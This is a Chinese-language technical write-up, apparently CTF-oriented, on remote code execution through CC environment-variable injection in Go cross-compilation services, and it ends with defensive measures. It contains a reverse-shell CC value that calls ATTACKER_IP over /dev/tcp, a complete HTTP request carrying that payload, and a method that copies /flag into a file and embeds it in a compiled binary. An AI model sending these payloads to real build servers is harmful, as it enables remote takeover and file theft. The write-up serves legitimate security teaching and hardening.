Go build 环境变量注入RCE
字数 1013 2025-08-29 08:30:36
Go Build 环境变量注入RCE技术分析
1. 漏洞背景
该漏洞存在于提供Go程序交叉编译功能的服务器中,攻击者可以通过控制编译时的环境变量实现远程代码执行(RCE)。核心问题在于Go编译过程中对CC等环境变量的不当处理。
2. 漏洞原理
2.1 Go编译环境变量
Go语言支持通过环境变量控制编译过程,特别是当使用CGO特性时,会调用外部编译器(如gcc)。关键环境变量包括:
CC: 定义用于编译C代码的编译器命令CXX: 定义用于编译C++代码的编译器命令CGO_ENABLED: 控制是否启用CGO特性
2.2 漏洞触发条件
当服务端存在以下情况时可能触发此漏洞:
- 提供Go程序编译功能
- 允许用户控制编译环境变量
- 使用
exec.Command执行编译命令时未对环境变量进行过滤
2.3 攻击向量
攻击者可以通过修改CC环境变量,将其设置为恶意命令而非真正的编译器路径,从而在编译过程中执行任意命令。
3. 漏洞利用
3.1 出网情况下的利用
当目标环境可以出网时,可以通过反弹shell实现RCE:
- 构造恶意Go代码,启用CGO特性:
package main
/*
#include <stdlib.h>
*/
import "C"
func main() {}
- 设置
CC环境变量为反弹shell命令:
CC='bash -c "bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1"'
- 发送HTTP请求触发编译,示例HTTP请求:
POST /build HTTP/1.1
Host: target.com
Content-Type: application/json
{
"env": ["CC=bash -c \"bash -i >& /dev/tcp/ATTACKER_IP/PORT 0>&1\""]
}
3.2 不出网情况下的利用
当目标环境无法出网时,可以利用Go的embed特性获取命令执行结果:
- 首先通过
CC环境变量执行命令并将结果写入文件:
CC='sh -c "cat /flag > flag.txt"'
- 构造使用embed特性的Go代码:
package main
import (
_ "embed"
"fmt"
)
//go:embed flag.txt
var flag string
func main() {
fmt.Println(flag)
}
-
编译该代码,flag内容会被嵌入到二进制文件中
-
下载编译后的二进制文件,执行即可获取flag内容
4. 防御措施
4.1 输入验证
- 严格过滤用户提供的环境变量,特别是
CC、CXX等 - 使用白名单机制,只允许特定的环境变量
4.2 安全编译
- 在沙箱环境中执行编译过程
- 禁用CGO特性(
CGO_ENABLED=0) - 使用固定、可信的编译器路径
4.3 代码审查
- 检查所有使用
exec.Command的地方 - 确保环境变量不被用户完全控制
- 对编译服务进行权限最小化配置
5. 相关资源
- Go官方环境变量文档: https://pkg.go.dev/cmd/go#hdr-Environment_variables
- Go embed特性文档: https://pkg.go.dev/embed
- CGO使用指南: https://golang.org/cmd/cgo/